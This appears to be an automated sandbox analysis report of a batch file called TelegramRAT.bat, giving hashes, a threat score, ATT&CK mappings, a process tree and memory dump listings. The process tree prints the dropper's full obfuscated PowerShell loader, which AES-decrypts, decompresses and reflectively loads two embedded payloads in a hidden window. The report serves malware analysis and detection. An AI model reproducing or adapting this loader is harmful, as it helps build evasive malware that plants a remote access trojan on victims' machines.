a0ee800f44efdd76e8d5bba6d2d030147be21eff3219a3b7f569cda31ae39fa5

Analysis

max time kernel
122s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
10-01-2025 09:34

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General

Target

TelegramRAT.bat
Size

410KB
MD5

7dda2cf82f482b84c7163a373fd37fe2
SHA1

718684e97ea03e285a11536508701fc3d77f285c
SHA256

a0ee800f44efdd76e8d5bba6d2d030147be21eff3219a3b7f569cda31ae39fa5
SHA512

ed28b9794de7b5de60ec27039628bb19519905212ca563127bee3a45946241b270a3beb6b7a353334f7bf5ed6ebe6ea87a8c9afb922b467b5dd062013e30b48d
SSDEEP

12288:hyfWmMRYqsiadmvG5SFHN1+knBRz+icY9R:hyumpfikmvkSFHN1+kWhYr

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2380	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2380	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2380	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1924 wrote to memory of 2388	1924	cmd.exe	31
PID 1924 wrote to memory of 2388	1924	cmd.exe	31
PID 1924 wrote to memory of 2388	1924	cmd.exe	31
PID 1924 wrote to memory of 2380	1924	cmd.exe	32
PID 1924 wrote to memory of 2380	1924	cmd.exe	32
PID 1924 wrote to memory of 2380	1924	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\TelegramRAT.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cNpmRkJczn8mBzUEz7gPBxlaAIVsUlNOu90G1feOpAU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pUizGE0Hy59zHuK9PsFntQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SLoFu=New-Object System.IO.MemoryStream(,$param_var); $HPdxN=New-Object System.IO.MemoryStream; $IGdrc=New-Object System.IO.Compression.GZipStream($SLoFu, [IO.Compression.CompressionMode]::Decompress); $IGdrc.CopyTo($HPdxN); $IGdrc.Dispose(); $SLoFu.Dispose(); $HPdxN.Dispose(); $HPdxN.ToArray();}function execute_function($param_var,$param2_var){ $BVMQB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WZMKy=$BVMQB.EntryPoint; $WZMKy.Invoke($null, $param2_var);}$cPfJC = 'C:\Users\Admin\AppData\Local\Temp\TelegramRAT.bat';$host.UI.RawUI.WindowTitle = $cPfJC;$NQAFM=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($cPfJC).Split([Environment]::NewLine);foreach ($ewsqW in $NQAFM) { if ($ewsqW.StartsWith('RjmgosMiBtxCViPmHLtP')) { $fOFeW=$ewsqW.Substring(20); break; }}$payloads_var=[string[]]$fOFeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2380-4-0x000007FEF5B3E000-0x000007FEF5B3F000-memory.dmp

Filesize
4KB

Download
memory/2380-6-0x0000000002070000-0x0000000002078000-memory.dmp

Filesize
32KB

Download
memory/2380-5-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2380-7-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/2380-8-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/2380-9-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/2380-10-0x000007FEF5B3E000-0x000007FEF5B3F000-memory.dmp

Filesize
4KB

Download